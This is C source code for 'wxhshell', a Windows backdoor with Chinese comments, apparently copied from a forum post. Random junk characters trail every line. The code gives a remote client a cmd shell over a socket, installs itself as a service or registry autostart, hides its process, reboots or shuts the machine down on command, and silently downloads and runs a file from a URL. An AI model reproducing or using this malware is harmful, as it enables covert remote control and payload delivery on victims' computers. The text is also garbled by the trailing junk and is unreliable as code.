  else 7TpRCq#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (i]Z|@|)  
  } {fU?idY)c  
  else { 036[96t,F  
s"coQ!e1.  
    switch(cmd[0]) { h>klTPM>  
  5)`h0TK  
  // 帮助 oRq3 pO}f  
  case '?': { 1"YpO"Rh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \ I:.<2i  
    break; 'MN1A;IJ  
  } *ik/p  
  // 安装 Xa,\EEmQ  
  case 'i': { [7.agI@=  
    if(Install()) _mk5^u/u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 41yOXy ;~l  
    else 1 i3k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ="'- &  
    break; NXI[q 'y  
    } k>5O`Y:  
  // 卸载 [l*;E f,  
  case 'r': { :YNp8!?T?  
    if(Uninstall()) zCV7%,H~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~5 >[`)  
    else 9i%9   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e_rzA  
    break; j?-R]^-5  
    } O('Nn]wo~9  
  // 显示 wxhshell 所在路径 x=*L-  
  case 'p': { URw5U1  
    char svExeFile[MAX_PATH]; }C,O   
    strcpy(svExeFile,"\n\r"); P^i.La,  
      strcat(svExeFile,ExeFile); H;S%Y`V  
        send(wsh,svExeFile,strlen(svExeFile),0); 2|{V,!/cvG  
    break; ipjkZG@  
    } X+l'bp]Ry  
  // 重启 ;`UecLb#  
  case 'b': { j O8k6<l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x_!ZycEa  
    if(Boot(REBOOT)) 5<+KR.W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &&7r+.Y  
    else { wa:0X)KC?  
    closesocket(wsh); Cq\I''~8  
    ExitThread(0); ?KP}#>Ba@  
    } Ns=AjhLc z  
    break; Yc;ec9~  
    } z-,VnhLx  
  // 关机 /3B6 Mtb  
  case 'd': { ' ~Q2!F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vmi{X b]<  
    if(Boot(SHUTDOWN)) lZWX7FO'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VKW|kU7Cs$  
    else { Bs!4H2@{(]  
    closesocket(wsh); P8I*dvu _  
    ExitThread(0); n]N96oD  
    } YnTB&GPxl  
    break; r;m`9,RW  
    } NlF}{   
  // 获取shell SEd5)0X^  
  case 's': { J4aB Pq`  
    CmdShell(wsh); uaw <  
    closesocket(wsh); +  WDq =S  
    ExitThread(0); Qe$k3!  
    break; i8PuC^]  
  } :i*JnlvZ  
  // 退出 kXc25y'blP  
  case 'x': { %y<]Yzv.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]%dnKP~  
    CloseIt(wsh); ]}PV"|#K{c  
    break; \2kPq>hu  
    } !#x=JX  
  // 离开 )S@jDaU<  
  case 'q': { MI#mAg<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uTvv(f  
    closesocket(wsh); =f7r69I"  
    WSACleanup(); <4`eQ  
    exit(1); yR71%]*.  
    break; q4 k@l  
        } S h4wqf  
  } NAr1[{^E,  
  } #exss=as/  
o>lms t%<  
  // 提示信息 \%A%s*1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C>QIrZu  
} -yx/7B5@  
  } O#kq^C}  
b.yh8|&  
  return; pW?& J>\6  
} pchBvly+0  
!1sU>Xb4J  
// shell模块句柄 % _M2N.n  
int CmdShell(SOCKET sock) k(s;,B\  
{ 8cWZ"v  
STARTUPINFO si; _|{aC1Y!V  
ZeroMemory(&si,sizeof(si)); uB.-t^@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nCxAQ|P?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9.+/~$Ht  
PROCESS_INFORMATION ProcessInfo; SZ!=`a]  
char cmdline[]="cmd"; wz /GB8P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @R2at  
  return 0; ljJ>;g+  
} ; y.E!  
3Rv7Qx  
// 自身启动模式 #=,(JmQPt  
int StartFromService(void) u5E]t9~Pq  
{ 4&X*pL2;  
typedef struct m7|RD]q&  
{ B |{I:[  
  DWORD ExitStatus; &xS a7FY  
  DWORD PebBaseAddress; {1lO  
  DWORD AffinityMask; !.X.tc  
  DWORD BasePriority; oduDA:  
  ULONG UniqueProcessId; DPDe>3Mi[  
  ULONG InheritedFromUniqueProcessId; & eZfQ27$  
}   PROCESS_BASIC_INFORMATION; `S/wJ'c  
9@VO+E$7L  
PROCNTQSIP NtQueryInformationProcess; P9Q2gVGAO{  
(!K_Fy@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fys  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6L4$vJ  
t-e5ld~a  
  HANDLE             hProcess; \F6LZZ2Lv  
  PROCESS_BASIC_INFORMATION pbi; woOy*)@  
NY B[Zyp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {U11^w1"3  
  if(NULL == hInst ) return 0; qN| fEO>  
df*w>xS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xa 9TS"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \c`oy=qY0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :os z  
' P"g\;Ij  
  if (!NtQueryInformationProcess) return 0; o>D  
tykB.2f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mj,fp2D;%  
  if(!hProcess) return 0; g[z.*y/  
b'@we0V@S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bha?eN  
Xh+ia#K  
  CloseHandle(hProcess); deX5yrvOie  
A7XnHPIw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s4= "kT]  
if(hProcess==NULL) return 0; N+W&NlZ   
}E^S]hdvz  
HMODULE hMod; |Rzy8j*  
char procName[255]; q 2? X"!  
unsigned long cbNeeded; V_^@  
HRa@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~4,I7c7  
6gO9 MQY  
  CloseHandle(hProcess); vq'c@yw;  
748CD{KxW  
if(strstr(procName,"services")) return 1; // 以服务启动 BNGe exs@  
7Hw<ojkt  
  return 0; // 注册表启动 @Cq? :o<  
} kUHE\L.Y]  
5ua?I9fY  
// 主模块 %i{;r35M;9  
int StartWxhshell(LPSTR lpCmdLine) y>VcgLIB  
{ vlWw3>4  
  SOCKET wsl; wVK*P -C  
BOOL val=TRUE; vFmJ;J  
  int port=0; nY?  
  struct sockaddr_in door; x<(b|2qf  
zri} h/{  
  if(wscfg.ws_autoins) Install(); PFSLyV*  
h+7>#*DH  
port=atoi(lpCmdLine); h5%|meZQb  
qB6dFl\ (  
if(port<=0) port=wscfg.ws_port; '{?C{MK3Q  
!3&kQpF  
  WSADATA data; FpV`#6i7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L-i>R:N4  
c$E)P$<j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;1AG3P'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dma.r  
  door.sin_family = AF_INET; 0`#(Toe{B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #~ v4caNx  
  door.sin_port = htons(port); 2i=H"('G)+  
M7}Q=q\9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $+= <(*  
closesocket(wsl); C"<s/h  
return 1; C*Vd-U  
} h,t|V}Wb  
4n( E;!s  
  if(listen(wsl,2) == INVALID_SOCKET) { [W,|kDK  
closesocket(wsl); '%iPVHK7  
return 1; T3J'fjY  
} lPq\=V  
  Wxhshell(wsl); a=}*mF[ug  
  WSACleanup(); ~4#B'Gy[  
|WqOk~)[Z3  
return 0; `$;+g ,  
6 DF  
} iDb;_?  
W.}].7}h  
// 以NT服务方式启动 %|Qw9sbd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3!9 Z=- tD  
{ u:P~j  
DWORD   status = 0; %uDG75KP{  
  DWORD   specificError = 0xfffffff; 1JS2SxF  
y=N"=Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sRRI3y@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iw]k5<qKj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , |E$'  
  serviceStatus.dwWin32ExitCode     = 0; @"87F{!  
  serviceStatus.dwServiceSpecificExitCode = 0; rGwIcx(%  
  serviceStatus.dwCheckPoint       = 0; n]? WCG}cd  
  serviceStatus.dwWaitHint       = 0; **;p (CI  
2ypIq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _^!vCa7f  
  if (hServiceStatusHandle==0) return; UPh=+s #Q  
UsW5d]i}Y  
status = GetLastError(); ur%$aX)  
  if (status!=NO_ERROR) hSV@TL  
{ RVM&4#E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7nE"F!d+0  
    serviceStatus.dwCheckPoint       = 0; Epjff@ 7A  
    serviceStatus.dwWaitHint       = 0; #gZ|T M/h  
    serviceStatus.dwWin32ExitCode     = status; :h5J r8  
    serviceStatus.dwServiceSpecificExitCode = specificError; n'w,n1z7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n Y w\'c  
    return; gQVBA %  
  } H#(<-)j0_  
nfE@R."A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ';YgG<u  
  serviceStatus.dwCheckPoint       = 0; EQ >t[ &  
  serviceStatus.dwWaitHint       = 0; $Xf(^K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f6ZZ}lwaV  
} %efGt6&  
V'wi^gq  
// 处理NT服务事件,比如:启动、停止 U6j/BJT"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )2j:z#'>  
{ ?l6jG  
switch(fdwControl) .]t5q%}j  
{ &9B_/m3  
case SERVICE_CONTROL_STOP: *8A6Q9YT  
  serviceStatus.dwWin32ExitCode = 0; (F5ttQPh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o}D![/  
  serviceStatus.dwCheckPoint   = 0; ,;iA2  
  serviceStatus.dwWaitHint     = 0; x-Z^Q C  
  { C3"&sdLb$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `iYc<N`  
  } rw u3Nb  
  return; zy)i1d  
case SERVICE_CONTROL_PAUSE: 3 N%{B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i Ci>zJ  
  break; Mtp%co)f  
case SERVICE_CONTROL_CONTINUE: fPQ|e"?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RaNeZhF>M  
  break; dr]&kqm  
case SERVICE_CONTROL_INTERROGATE: WYO\'W  
  break; /tC9G@Hl  
}; Yn<)k_kp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @YZ 4AC  
} n`<S&KP|  
#5{sglC"|F  
// 标准应用程序主函数 n2'|.y}Um:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sR79 K1*j  
{ n7iE8SK|k  
E+{5-[Zc*$  
// 获取操作系统版本 l9Pu&M?5  
OsIsNt=GetOsVer(); >d%VDjk .  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FAtWsk*pgY  
P(_(w 9  
  // 从命令行安装 qS]G&l6QF  
  if(strpbrk(lpCmdLine,"iI")) Install(); _S5gcPcF"  
Bz:0L1@,4a  
  // 下载执行文件 Xp^$ E6YFy  
if(wscfg.ws_downexe) { DQ_ 2fX~)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !%62Phai  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;&mxqY8`'  
} dq1TRFu  
B$7[8h  
if(!OsIsNt) { _3&/(B%H  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZR mPP  
HideProc(); ?`i|" y #  
StartWxhshell(lpCmdLine); ?*o;o?5s^  
} !E0fGh  
else nKu(XgFv  
  if(StartFromService()) gMay  
  // 以服务方式启动 p">WK<N  
  StartServiceCtrlDispatcher(DispatchTable); 'FxYMSZS$  
else ULu O0\W  
  // 普通方式启动 .+uVgSN  
  StartWxhshell(lpCmdLine); .f%vDBJS  
]ut?&&*  
return 0; l#ygb|=x  
}
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只看该作者 1 发表于: 2006-10-10
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